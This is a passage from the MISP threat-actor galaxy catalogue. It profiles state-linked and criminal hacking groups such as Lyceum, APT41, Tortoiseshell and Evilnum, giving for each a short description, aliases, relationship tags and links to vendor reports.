https://www.welivesecurity.com/2020/12/10/luckymouse-ta428-compromise-able-desktop
https://blog.group-ib.com/task
https://www.sentinelone.com/labs/thundercats-hack-the-fsb-your-taxes-didnt-pay-for-this-op
https://www.youtube.com/watch?v=1WfPlgtfWnQ
https://vb2020.vblocalhost.com/uploads/VB2020-20.pdf
https://vb2020.vblocalhost.com/uploads/VB2020-Ozawa-etal.pdf
https://st.drweb.com/static/new-www/news/2021/april/drweb_research_attacks_on_russian_research_institutes_en.pdf

LYCEUM

Lyceum is an Iranian APT group that has been active since at least 2014. They primarily target Middle Eastern governments and organizations in the energy and telecommunications sectors. Lyceum is known for using cyber espionage techniques and has been linked to other Iranian threat groups such as APT34. They have developed and deployed malware families like Shark and Milan, and have been observed using DNS tunneling and HTTPfor command and control communication.

The tag is: *misp-galaxy:threat-actor="LYCEUM"*

LYCEUM is also known as:

- COBALT LYCEUM

- HEXANE
- UNC1530
- Spirlin
- MYSTICDOME
- siamesekitten
- Chrono Kitten
- Storm-0133

Table 18351. Table References

Links
https://www.secureworks.com/blog/lyceum-takes-center-stage-in-middle-east-campaign
https://www.secureworks.com/research/threat-profiles/cobalt-lyceum
https://www.prevailion.com/latest-targets-of-cyber-group-lyceum/
https://www.clearskysec.com/siamesekitten/
https://vblocalhost.com/uploads/VB2021-Kayal-etal.pdf
https://services.google.com/fh/files/misc/tool-of-first-resort-israel-hamas-war-cyber.pdf

APT41

APT41 is a prolific cyber threat group that carries out Chinese state-sponsored espionage activity in addition to financially motivated activity potentially outside of state control.

The tag is: *misp-galaxy:threat-actor="APT41"*

APT41 is also known as:

- G0096
- TA415
- Blackfly
- Grayfly
- LEAD
- BARIUM
- WICKED SPIDER
- WICKED PANDA
- BRONZE ATLAS
- BRONZE EXPORT
- Red Kelpie
- G0044
- Earth Baku

- Amoeba
- HOODOO
- Brass Typhoon
- Winnti
- Double Dragon
- TG-2633
- Leopard Typhoon

View relationships graph

APT41 has relationships with:

- uses: misp-galaxy:backdoor="Speculoos" with estimative-language:likelihood-probability="very-likely"
- similar: misp-galaxy:threat-actor="APT17" with estimative-language:likelihood-probability="very-likely"
- similar: misp-galaxy:mitre-intrusion-set="Winnti Group - G0044" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:microsoft-activity-group="BARIUM" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:microsoft-activity-group="LEAD" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:microsoft-activity-group="Brass Typhoon" with estimative-language:likelihood-probability="likely"

Table 18352. Table References

Links
https://securelist.com/winnti-faq-more-than-just-a-game/57585/
https://securelist.com/winnti-more-than-just-a-game/37029/
http://williamshowalter.com/a-universal-windows-bootkit/
https://www.microsoft.com/security/blog/2017/01/25/detecting-threat-actors-in-recent-german-industrial-attacks-with-windows-defender-atp/
https://securelist.com/games-are-over/70991/
https://medium.com/chronicle-blog/winnti-more-than-just-windows-and-gates-e4f03436031a
https://www.dw.com/en/thyssenkrupp-victim-of-cyber-attack/a-36695341
https://www.bleepingcomputer.com/news/security/teamviewer-confirms-undisclosed-breach-from-2016/
https://blog.trendmicro.com/trendlabs-security-intelligence/winnti-abuses-github/
https://www.dw.com/en/bayer-points-finger-at-wicked-panda-in-cyberattack/a-48196004
https://www.welivesecurity.com/2019/03/11/gaming-industry-scope-attackers-asia/

https://401trg.com/burning-umbrella/
https://attack.mitre.org/groups/G0044/
https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-july-wicked-spider/
https://www.secureworks.com/research/threat-profiles/bronze-atlas
https://www.secureworks.com/research/threat-profiles/bronze-export
https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf
https://www.justice.gov/opa/pr/seven-international-cyber-defendants-including-apt41-actors-charged-connection-computer
https://assets.documentcloud.org/documents/7210602/FLASH-AC-000133-TT-Published.pdf
https://www.cfr.org/cyber-operations/winnti-umbrella
https://www.fireeye.com/blog/threat-research/2019/08/apt41-dual-espionage-and-cyber-crime-operation.html
https://unit42.paloaltonetworks.com/apt41-using-new-speculoos-backdoor-to-target-organizations-globally/
https://www.mandiant.com/resources/report-apt41-double-dragon-a-dual-espionage-and-cyber-crime-operation
https://www.cfr.org/cyber-operations/apt-41
https://attack.mitre.org/groups/G0096
https://www.uscc.gov/sites/default/files/2022-02/Adam_Kozy_Testimony.pdf
https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-report-download.pdf
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf
https://www.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf
https://www.welivesecurity.com/2021/03/10/exchange-servers-under-siege-10-apt-groups/
https://services.google.com/fh/files/blogs/gcat_threathorizons_full_apr2023.pdf
https://www.trendmicro.com/en_us/research/24/d/earth-freybug.html

Tortoiseshell

A previously undocumented attack group is using both custom and off-the-shelf malware to target IT providers in Saudi Arabia in what appear to be supply chain attacks with the end goal of compromising the IT providers' customers. The group, which we are calling Tortoiseshell, has been active since at least July 2018. Symantec has identified a total of 11 organizations hit by the group, the majority of which are based in Saudi Arabia. In at least two organizations, evidence suggests that the attackers gained domain admin-level access.

The tag is: *misp-galaxy:threat-actor="Tortoiseshell"*

Tortoiseshell is also known as:

- IMPERIAL KITTEN
- Yellow Liderc
- Imperial Kitten
- TA456
- DUSTYCAVE
- Crimson Sandstorm
- Cuboid Sandstorm
- Smoke Sandstorm
- CURIUM

View relationships graph

Tortoiseshell has relationships with:

- similar: misp-galaxy:threat-actor="Bohrium" with estimative-language:likelihood-probability="likely"

Table 18353. Table References

Links
https://www.symantec.com/blogs/threat-intelligence/tortoiseshell-apt-supply-chain
https://www.darkreading.com/threat-intelligence/iranian-government-hackers-target-us-veterans/d/d-id/1335897
https://ctoatncsc.substack.com/p/cto-at-ncsc-summary-week-ending-october
https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/yellow-liderc-ships-its-scripts-delivers-imaploader-malware.html
https://ics-cert.kaspersky.com/publications/reports/2023/09/25/apt-and-financial-attacks-on-industrial-organizations-in-h1-2023/
https://services.google.com/fh/files/misc/tool-of-first-resort-israel-hamas-war-cyber.pdf
https://www.microsoft.com/en-us/security/blog/2021/11/16/evolving-trends-in-iranian-threat-actor-activity-mstic-presentation-at-cyberwarcon-2021/

POISON CARP

Between November 2018 and May 2019, senior members of Tibetan groups received malicious links in individually tailored WhatsApp text exchanges with operators posing as NGO workers, journalists, and other fake personas. The links led to code designed to exploit web browser vulnerabilities to install spyware on iOS and Android devices, and in some cases to OAuth phishing pages. This campaign was carried out by what appears to be a single operator that we call POISON CARP.

The tag is: *misp-galaxy:threat-actor="POISON CARP"*

POISON CARP is also known as:

- Evil Eye
- Red Dev 16
- Earth Empusa

Table 18354. Table References

Links
https://citizenlab.ca/2019/09/poison-carp-tibetan-groups-targeted-with-1-click-mobile-exploits/
https://www.volexity.com/blog/2019/09/02/digital-crackdown-large-scale-surveillance-and-exploitation-of-uyghurs/
https://www.trendmicro.com/en_us/research/20/f/new-android-spyware-actionspy-revealed-via-phishing-attacks-from-earth-empusa.html

TA410

Early in August 2019, Proofpoint described what appeared to be state-sponsored activity targeting the US utilities sector with malware that we dubbed “Lookback”. Between August 21 and August 29, 2019, several spear phishing emails were identified targeting additional US companies in the utilities sector. The phishing emails originated from what appears to be an actor-controlled domain: globalenergycertification[.]net. This domain, like those used in previous campaigns, impersonated a licensing body related to the utilities sector. In this case, it masqueraded as the legitimate domain for Global Energy Certification (“GEC”). The emails include a GEC examination-themed body and a malicious Microsoft Word attachment that uses macros to install and run LookBack. (Note confusion between Malware, Campaign and ThreatActor)

The tag is: *misp-galaxy:threat-actor="TA410"*

Table 18355. Table References

Links
https://www.proofpoint.com/us/threat-insight/post/lookback-forges-ahead-continued-targeting-united-states-utilities-sector-reveals
https://www.proofpoint.com/us/threat-insight/post/lookback-malware-targets-united-states-utilities-sector-phishing-attacks
https://www.proofpoint.com/us/blog/threat-insight/ta410-group-behind-lookback-attacks-against-us-utilities-sector-returns-new

Operation Soft Cell

In 2018, the Cybereason Nocturnus team identified an advanced, persistent attack targeting global telecommunications providers carried out by a threat actor using tools and techniques commonly associated with Chinese-affiliated threat actors, such as APT10. This multi-wave attacks focused on

obtaining data of specific, high-value targets and resulted in a complete takeover of the network.

The tag is: *misp-galaxy:threat-actor="Operation Soft Cell"*

View relationships graph

Operation Soft Cell has relationships with:

- similar: misp-galaxy:threat-actor="GALLIUM" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:microsoft-activity-group="GALLIUM" with estimative-language:likelihood-probability="likely"

Table 18356. Table References

Links
https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers

Operation WizardOpium

We are calling these attacks Operation WizardOpium. So far, we have been unable to establish a definitive link with any known threat actors. There are certain very weak code similarities with Lazarus attacks, although these could very well be a false flag. The profile of the targeted website is more in line with earlier DarkHotel attacks that have recently deployed similar false flag attacks.

The tag is: *misp-galaxy:threat-actor="Operation WizardOpium"*

Table 18357. Table References

Links
https://securelist.com/chrome-0-day-exploit-cve-2019-13720-used-in-operation-wizardopium/94866/

Calypso

For the first time, the activity of the Calypso group was detected by specialists of PT Expert Security Center in March 2019, during the work to detect cyber threats. As a result, many malware samples of this group were obtained, affected organizations and control servers of intruders were identified. According to our data, the group has been active since at least September 2016. The main goal of the group is to steal confidential data, the main victims are government agencies from Brazil, India, Kazakhstan, Russia, Thailand, Turkey. Our data suggest that the group has Asian roots. Description translated from Russian.

The tag is: *misp-galaxy:threat-actor="Calypso"*

Calypso is also known as:

- BRONZE MEDLEY

Table 18358. Table References

Links
https://www.ptsecurity.com/upload/corporate/ru-ru/analytics/calypso-apt-2019-rus.pdf
https://www.welivesecurity.com/2021/03/10/exchange-servers-under-siege-10-apt-groups/

TA2101

Proofpoint researchers detected campaigns from a relatively new actor, tracked internally as TA2101, targeting German companies and organizations to deliver and install backdoor malware. The actor initiated their campaigns impersonating the Bundeszentralamt fur Steuern, the German Federal Ministry of Finance, with lookalike domains, verbiage, and stolen branding in the emails. For their campaigns in Germany, the actor chose Cobalt Strike, a commercially licensed software tool that is generally used for penetration testing and emulates the type of backdoor framework used by Metasploit, a similar penetration testing tool. Proofpoint researchers have also observed this actor distributing Maze ransomware, employing similar social engineering techniques to those it uses for Cobalt Strike, while also targeting organizations in Italy and impersonating the Agenzia Delle Entrate, the Italian Revenue Agency. We have also recently observed the actor targeting organizations in the United States using the IcedID banking Trojan while impersonating the United States Postal Service (USPS).

The tag is: *misp-galaxy:threat-actor="TA2101"*

TA2101 is also known as:

- Maze Team
- TWISTED SPIDER
- GOLD VILLAGE
- Storm-0216
- DEV-0216
- UNC2198
- TUNNEL SPIDER

Table 18359. Table References

Links
https://www.proofpoint.com/us/threat-insight/post/ta2101-plays-government-imposter-distribute-malware-german-italian-and-us
https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/
https://adversary.crowdstrike.com/adversary/twisted-spider/
https://analyst1.com/file-assets/RANSOM-MAFIA-ANALYSIS-OF-THE-WORLD%E2%80%99S-FIRST-RANSOMWARE-CARTEL.pdf
https://www.secureworks.com/blog/how-cyber-adversaries-are-adapting-to-exploit-the-global-pandemic

http://www.secureworks.com/research/threat-profiles/gold-village
https://www.cysecurity.news/2023/12/twisted-spiders-dangerous-cactus.html
https://x.com/MsftSecIntel/status/1730383711437283757
https://cloud.google.com/blog/topics/threat-intelligence/melting-unc2198-icedid-to-ransomware-operations
https://youtu.be/U7p0J8aMZhM?t=193

APT-C-34

As reported by ZDNet, Chinese cyber-security vendor Qihoo 360 published a report on 2019-11-29 exposing an extensive hacking operation targeting the country of Kazakhstan. Targets included individuals and organizations involving all walks of life, such as government agencies, military personnel, foreign diplomats, researchers, journalists, private companies, the educational sector, religious figures, government dissidents, and foreign diplomats alike. The campaign, Qihoo 360 said, was broad, and appears to have been carried by a threat actor with considerable resources, and one who had the ability to develop their private hacking tools, buy expensive spyware off the surveillance market, and even invest in radio communications interception hardware.

The tag is: *misp-galaxy:threat-actor="APT-C-34"*

APT-C-34 is also known as:

- Golden Falcon

Table 18360. Table References

Links
http://blogs.360.cn/post/APT-C-34_Golden_Falcon.html
https://www.zdnet.com/article/extensive-hacking-operation-discovered-in-kazakhstan/

luoxk

Luoxk is a malware campaign targeting web servers throughout Asia, Europe and North America.

The tag is: *misp-galaxy:threat-actor="luoxk"*

Table 18361. Table References

Links
https://www.systemtek.co.uk/2018/07/luoxk-malware-exploiting-cve-2018-2893/

RAZOR TIGER

An actor mainly targeting Pakistan military targets, active since at least 2012. We have low confidence that this malware might be authored by an Indian company. To spread the malware, they use unique implementations to leverage the exploits of known vulnerabilities (such as CVE-

2017-11882) and later deploy a Powershell payload in the final stages.

The tag is: *misp-galaxy:threat-actor="RAZOR TIGER"*

RAZOR TIGER is also known as:

- SideWinder
- Rattlesnake
- APT-C-17
- T-APT-04

View relationships graph

RAZOR TIGER has relationships with:

- similar: misp-galaxy:malpedia="SideWinder (Windows)" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:360net-threat-actor="□□□ - APT-C-24" with estimative-language:likelihood-probability="likely"

Table 18362. Table References

Links
https://securelist.com/apt-trends-report-q1-2018/85280/
https://blog.trendmicro.com/trendlabs-security-intelligence/first-active-attack-exploiting-cve-2019-2215-found-on-google-play-linked-to-sidewinder-apt-group/
https://otx.alienvault.com/pulse/5fd10760f9afb730d37c4742/
https://www.trendmicro.com/en_us/research/20/l/sidewinder-leverages-south-asian-territorial-issues-for-spear-ph.html
https://s.tencent.com/research/report/659.html
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/fireeye-sidewinder-targeted-attack.pdf
https://s.tencent.com/research/report/479.html
https://medium.com/@Sebdraven/apt-sidewinder-tricks-powershell-anti-forensics-and-execution-side-loading-5bc1a7e7c84c
https://mp.weixin.qq.com/s/8j_rHA7gdMxY1_X8alj8Zg

Operation Wocao

Operation Wocao (□□, “W□ cāo”, used as “shit” or “damn”) is the name that Fox-IT uses to describe the hacking activities of a Chinese based hacking group. This report details the profile of a publicly underreported threat actor that Fox-IT has dealt with over the past two years. Fox-IT assesses with high confidence that the actor is a Chinese group and that they are likely working to support the interests of the Chinese government and are tasked with obtaining information for espionage

purposes. With medium confidence, Fox-IT assesses that the tools, techniques and procedures are those of the actor referred to as APT20 by industry partners. We have identified victims of this actor in more than 10 countries, in government entities, managed service providers and across a wide variety of industries, including Energy, Health Care and High-Tech.

The tag is: *misp-galaxy:threat-actor="Operation Wocao"*

Table 18363. Table References

Links
https://www.fox-it.com/nl/actueel/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/

Budminer

Based on the evidence we have presented Symantec attributed the activity involving theDripion malware to the Budminer advanced threat group. While we have not seen newcampaigns using Taidoor malware since 2014, we believe the Budminer group has changedtactics to avoid detection after being outed publicly in security white papers and blogs over thepast few years.

The tag is: *misp-galaxy:threat-actor="Budminer"*

Budminer is also known as:

- Budminer cyberespionage group

Table 18364. Table References

Links
https://www.symantec.com/connect/blogs/taiwan-targeted-new-cyberespionage-back-door-trojan
https://app.box.com/s/xqh458fe1url7mgl072hhd0yxqw3x0jm
https://www.research-collection.ethz.ch/bitstream/handle/20.500.11850/389371/1/Cyber-Reports-2020-01-A-one-sided-Affair.pdf

Attor

Adversary group targeting diplomatic missions and governmental organisations.

The tag is: *misp-galaxy:threat-actor="Attor"*

Table 18365. Table References

Links
https://www.welivesecurity.com/2019/10/10/eset-discovers-attor-spy-platform

APT-C-12

According to 360 TIC the actor has carried out continuous cyber espionage activities since 2011 on

key units and departments of the Chinese government, military industry, scientific research, and finance. The organization focuses on information related to the nuclear industry and scientific research. The targets were mainly concentrated in mainland China...[M]ore than 670 malware samples have been collected from the group, including more than 60 malicious plugins specifically for lateral movement; more than 40 C2 domain names and IPs related to the organization have also been discovered.

The tag is: *misp-galaxy:threat-actor="APT-C-12"*

APT-C-12 is also known as:

- Sapphire Mushroom
- Blue Mushroom
- NuclearCrisis

Table 18366. Table References

Links
https://mp.weixin.qq.com/s/S-hiGFNC6WXGrkjytAVbpA
https://bitofhex.com/2020/02/10/sapphire-mushroom-lnk-files/

InvisiMole

Adversary group targeting diplomatic missions, governmental and military organisations, mainly in Ukraine.

The tag is: *misp-galaxy:threat-actor="InvisiMole"*

Table 18367. Table References

Links
https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/
https://www.welivesecurity.com/2020/06/18/digging-up-invisimole-hidden-arsenal/

ANTHROPOID SPIDER

Publicly known as 'EmpireMonkey', ANTHROPOID SPIDER conducted phishing campaigns in February and March 2019, spoofing French, Norwegian and Belizean financial regulators and institutions. These campaigns used macro-enabled Microsoft documents to deliver the PowerShell Empire post-exploitation framework. ANTHROPOID SPIDER likely enabled a breach that allegedly involved fraudulent transfers over the SWIFT network.

The tag is: *misp-galaxy:threat-actor="ANTHROPOID SPIDER"*

ANTHROPOID SPIDER is also known as:

- Empire Monkey

- CobaltGoblin

Table 18368. Table References

Links
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://www.kaspersky.com/about/press-releases/2019_fin7-hacking-group-targets-more-than-130-companies-after-leaders-arrest
https://fortiguard.com/encyclopedia/botnet/7630456

CLOCKWORK SPIDER

Opportunistic actor that installs custom root certificate on victim to support man-in-the-middle network monitoring.

The tag is: *misp-galaxy:threat-actor="CLOCKWORK SPIDER"*

Table 18369. Table References

Links
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://na.eventscloud.com/file_uploads/6568237bca6dc156e5c5557c5989e97c_CrowdStrikeFal.Con2019_ThroughEyesOfAdversary_J.Ayers.pdf

DOPPEL SPIDER

In June 2019, CrowdStrike Intelligence observed a source code fork of BitPaymer and began tracking the new ransomware strain as DoppelPaymer. Further technical analysis revealed an increasing divergence between two versions of Dridex, with the new version dubbed DoppelDridex. Based on this evidence, CrowdStrike Intelligence assessed with high confidence that a new group split off from INDRIK SPIDER to form the adversary DOPPEL SPIDER. Following DOPPEL SPIDER's inception, CrowdStrike Intelligence observed multiple BGH incidents attributed to the group, with the largest known ransomware demand being 250 BTC. Other demands were not nearly as high, suggesting that the group conducts network reconnaissance to determine the value of the victim organization.

The tag is: *misp-galaxy:threat-actor="DOPPEL SPIDER"*

DOPPEL SPIDER is also known as:

- GOLD HERON

Table 18370. Table References

Links
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
http://www.secureworks.com/research/threat-profiles/gold-heron

MONTY SPIDER

Spambots continued to decline in 2019, with MONTY SPIDER's CraP2P spambot falling silent in April.

The tag is: *misp-galaxy:threat-actor="MONTY SPIDER"*

MONTY SPIDER is also known as:

- Spandex Tempest

View relationships graph

MONTY SPIDER has relationships with:

- similar: misp-galaxy:threat-actor="TA505" with estimative-language:likelihood-probability="likely"

Table 18371. Table References

Links
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf

NARWHAL SPIDER

NARWHAL SPIDER's operation of Cutwail v2 was limited to country-specific spam campaigns, although late in 2019 there appeared to be an effort to expand by bringing in INDRIK SPIDER as a customer.

The tag is: *misp-galaxy:threat-actor="NARWHAL SPIDER"*

NARWHAL SPIDER is also known as:

- GOLD ESSEX
- TA544
- Storm-0302

Table 18372. Table References

Links
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
http://www.secureworks.com/research/threat-profiles/gold-essex
https://www.proofpoint.com/us/threat-insight/post/brushaloader-still-sweeping-victims-one-year-later
https://www.proofpoint.com/us/threat-insight/post/holiday-lull-not-so-much
https://www.proofpoint.com/us/threat-insight/post/urlzone-top-malware-japan-while-emotet-and-line-phishing-round-out-landscape-0

https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta544-targets-geographies-italy-japan-range-malware
https://www.proofpoint.com/us/blog/threat-insight/q4-2020-threat-report-quarterly-analysis-cybersecurity-trends-tactics-and-themes

NOCTURNAL SPIDER

Mentioned as MaaS operator in CrowdStrike's 2020 Report.

The tag is: *misp-galaxy:threat-actor="NOCTURNAL SPIDER"*

Table 18373. Table References

Links
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf

SCULLY SPIDER

Mentioned as operator of DanaBot in CrowdStrike's 2020 Report.

The tag is: *misp-galaxy:threat-actor="SCULLY SPIDER"*

Table 18374. Table References

Links
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf

SMOKY SPIDER

Mentioned as operator of SmokeLoader in CrowdStrike's 2020 Report.

The tag is: *misp-galaxy:threat-actor="SMOKY SPIDER"*

Table 18375. Table References

Links
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf

VENOM SPIDER

VENOM SPIDER is the developer of a large toolset that includes SKID, VenomKit and Taurus Loader. Under the moniker 'badbullzvenom', the adversary has been an active member of Russian underground forums since at least 2012, specializing in the identification of vulnerabilities and the subsequent development of tools for exploitation, as well as for gaining and maintaining access to victim machines and carding services. Recent advertisements for the malware indicate that VENOM SPIDER limits the sale and use of its tools, selling modules only to trusted affiliates. This preference can be seen in the fact that adversaries observed using the tools include the targeted criminal

adversary COBALT SPIDER and BGH adversaries WIZARD SPIDER and PINCHY SPIDER.

The tag is: *misp-galaxy:threat-actor="VENOM SPIDER"*

VENOM SPIDER is also known as:

- badbullzvenom
- badbullz

Table 18376. Table References

Links
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://www.esentire.com/web-native-pages/the-hunt-for-venom-spider-part-2

Operation Shadow Force

Operation Shadow Force is a group of malware that is representative of Shadow Force and Wgdrop from 2013 to 2020, and is a group activity that attacks Korean companies and organizations. The group's first confirmed attack was in March 2013, but considering the date of malware creation, it is likely to have been active before 2012. Since the malware used mainly by them is Shadow Force, it was named Operation Shadow Force, and it has not been confirmed whether the attacker is associated with a known group.

The tag is: *misp-galaxy:threat-actor="Operation Shadow Force"*

Operation Shadow Force is also known as:

- TA-ShadowCricket
- Larva-24013

Table 18377. Table References

Links
https://www.ahnlab.com/kr/site/securityinfo/secunews/secuNewsView.do?curPage=1&menu_dist=2&seq=29129
https://mobile.twitter.com/mstoned7/status/1247361687570673664
https://www.ahnlab.com/en/contents/content-center/35891
https://asec.ahnlab.com/en/52479/

NOTROBIN

Researchers at FireEye report finding a hacking group (dubbed NOTROBIN) that has been bundling mitigation code for NetScaler servers with its exploits. In effect, the hackers exploit the flaw to get access to the server, kill any existing malware, set up their own backdoor, then block off the vulnerable code from future exploit attempts by mitigation.

The tag is: *misp-galaxy:threat-actor="NOTROBIN"*

Table 18378. Table References

Links
https://www.theregister.co.uk/2020/01/17/hackers_patch_citrix_vulnerability/
https://www.fireeye.com/blog/threat-research/2020/01/vigilante-deploying-mitigation-for-citrix-netscaler-vulnerability-while-maintaining-backdoor.html

ItaDuke

ItaDuke is an actor known since 2013. It used PDF exploits for dropping malware and Twitter accounts to store C2 server urls. On 2018, an actor named DarkUniverse, which was active between 2009 to 2017, was attributed to this ItaDuke by Kaspersky.

The tag is: *misp-galaxy:threat-actor="ItaDuke"*

ItaDuke is also known as:

- DarkUniverse
- SIG27

Table 18379. Table References

Links
https://securelist.com/darkuniverse-the-mysterious-apt-framework-27/94897/
https://www.fireeye.com/blog/threat-research/2013/02/the-number-of-the-beast.html
https://securelist.com/new-uyghur-and-tibetan-themed-attacks-using-pdf-exploits/35465

Nazar

This actor was identified by Juan Andres Guerrero-Saade from the SIG37 cluster as published in the ShadowBrokers' 'Lost in Translation' leak. Earliest known sighting potentially dates back to as far as 2008 with a confirmed center of activity around 2010-2013. The actor name is derived from a PDB debug string fragment: 'khzer'. Victimology indicates targeting of Iran, assessed with low confidence based on VT file submission locations. Nazar employs a modular toolkit where a main dropper silently registers multiple DLLs as OLE controls in the Windows registry. Functionality includes keylogging, sound and screen grabbing, as well as traffic capture using the MicroOlap Packet Sniffer library.

The tag is: *misp-galaxy:threat-actor="Nazar"*

Nazar is also known as:

- SIG37

Table 18380. Table References

Links
https://www.epicturla.com/blog/the-lost-nazar

Higaisa

The organization often uses important North Korean time nodes such as holidays and North Korea to conduct fishing activities. The bait includes New Year blessings, Lantern blessings, North Korean celebrations, and important news, overseas personnel contact lists and so on. In addition, the attack organization also has the attack capability of the mobile terminal. The targets of the attack also include diplomatic entities related to North Korea (such as embassy officials in various places), government officials, human rights organizations, North Korean residents abroad, and traders. The victim countries currently monitored include China, North Korea, Japan, Nepal, Singapore, Russia, Poland, Switzerland, etc.

The tag is: *misp-galaxy:threat-actor="Higaisa"*

Table 18381. Table References

Links
https://s.tencent.com/research/report/836.html
https://blog.malwarebytes.com/threat-analysis/2020/06/higaisa/

COBALT JUNO

COBALT JUNO has operated since at least 2013 and focused on targets located in the Middle East including Iran, Jordan, Egypt & Lebanon. COBALT JUNO custom spyware families SABER1 and SABER2, include surveillance functionality and masquerade as legitimate software utilities such as Adobe Updater, StickyNote and ASKDownloader. CTU researchers assess with moderate confidence that COBALT JUNO operated the ZooPark Android spyware since at least mid-2015. ZooPark was publicly exposed in 2018 in both vendor reporting and a high profile leak of C2 server data. COBALT JUNO is linked to a private security company in Iran and outsources aspects of tool development work to commercial software developers. CTU researchers have observed the group using strategic web compromises to deliver malware. CTU researchers' discovery of new C2 domains in 2019 suggest the group is still actively performing operations.

The tag is: *misp-galaxy:threat-actor="COBALT JUNO"*

COBALT JUNO is also known as:

- APT-C-38 (QiAnXin)
- SABER LION
- TG-2884 (SCWX CTU)

Table 18382. Table References

Links
https://www.secureworks.com/research/threat-profiles/cobalt-juno

COBALT KATANA

COBALT KATANA has been active since at least March 2018, and it focuses many of its operations on organizations based in or associated with Kuwait. The group has targeted government, logistics, and shipping organizations. The threat actors gain initial access to targets using DNS hijacking, strategic web compromise with SMB forced authentication, and password brute force attacks. COBALT KATANA operates a custom platform referred to as the Sakabota Framework, also referred to as Sakabota Core, with a complimentary set of modular backdoors and accessory tools including Gon, Hisoka, Hisoka Netero, Killua, Diezen, and Eye. The group has implemented DNS tunnelling in its malware and malicious scripts and also operates the HyphenShell web shell to strengthen post-intrusion access. CTU researchers assess with moderate confidence that COBALT KATANA operates on behalf of Iran, and elements of its operations such as overlapping infrastructure, use of DNS hijacking, implementation of DNS-based C2 channels in malware and web shell security mechanisms suggest connections to COBALT GYPSY and COBALT EDGEWATER.

The tag is: *misp-galaxy:threat-actor="COBALT KATANA"*

COBALT KATANA is also known as:

- Hive0081 (IBM)
- SectorD01 (NHSC)
- xHunt campaign (Palo Alto)
- Hunter Serpens

Table 18383. Table References

Links
https://www.secureworks.com/research/threat-profiles/cobalt-katana
https://unit42.paloaltonetworks.com/atoms/hunter-serpens/

Dark Basin

Dark Basin is a hack-for-hire group that has targeted thousands of individuals and hundreds of institutions on six continents. Targets include advocacy groups and journalists, elected and senior government officials, hedge funds, and multiple industries. Dark Basin extensively targeted American nonprofits, including organisations working on a campaign called #ExxonKnew, which asserted that ExxonMobil hid information about climate change for decades. We also identify Dark Basin as the group behind the phishing of organizations working on net neutrality advocacy, previously reported by the Electronic Frontier Foundation. We link Dark Basin with high confidence to an Indian company, BellTroX InfoTech Services, and related entitie

The tag is: *misp-galaxy:threat-actor="Dark Basin"*

Table 18384. Table References

Links
https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/

https://github.com/citizenlab/malware-indicators/tree/master/202006_DarkBasin

GALLIUM

GALLIUM, is a threat actor believed to be targeting telecommunication providers over the world, mostly South-East Asia, Europe and Africa. To compromise targeted networks, GALLIUM target unpatched internet-facing services using publicly available exploits and have been known to target vulnerabilities in WildFly/JBoss.

The tag is: *misp-galaxy:threat-actor="GALLIUM"*

GALLIUM is also known as:

- Red Dev 4
- Alloy Taurus
- Granite Typhoon
- PHANTOM PANDA

View relationships graph

GALLIUM has relationships with:

- similar: misp-galaxy:threat-actor="Operation Soft Cell" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:microsoft-activity-group="GALLIUM" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:microsoft-activity-group="Granite Typhoon" with estimative-language:likelihood-probability="likely"

Table 18385. Table References

Links
https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/
https://www.youtube.com/watch?v=fBFm2fiEPTg
https://troopers.de/troopers22/talks/7cv8pz/
https://unit42.paloaltonetworks.com/atoms/alloytaurus/
https://unit42.paloaltonetworks.com/alloy-taurus-targets-se-asian-government/

Evilnum

ESET has analyzed the operations of Evilnum, the APT group behind the Evilnum malware previously seen in attacks against financial technology companies. While said malware has been seen in the wild since at least 2018 and documented previously, little has been published about the group behind it and how it operates. The group's targets remain fintech companies, but its toolset and infrastructure have evolved and now consist of a mix of custom, homemade malware

combined with tools purchased from Golden Chickens, a Malware-as-a-Service (MaaS) provider whose infamous customers include FIN6 and Cobalt Group.

The tag is: *misp-galaxy:threat-actor="Evilnum"*

Evilnum is also known as:

- DeathStalker
- TA4563
- EvilNum
- Jointworm
- KNOCKOUT SPIDER

Table 18386. Table References

Links
https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/
https://securelist.com/deathstalker-mercenary-triumvirate/98177/
https://securelist.com/what-did-deathstalker-hide-between-two-ferns/99616/
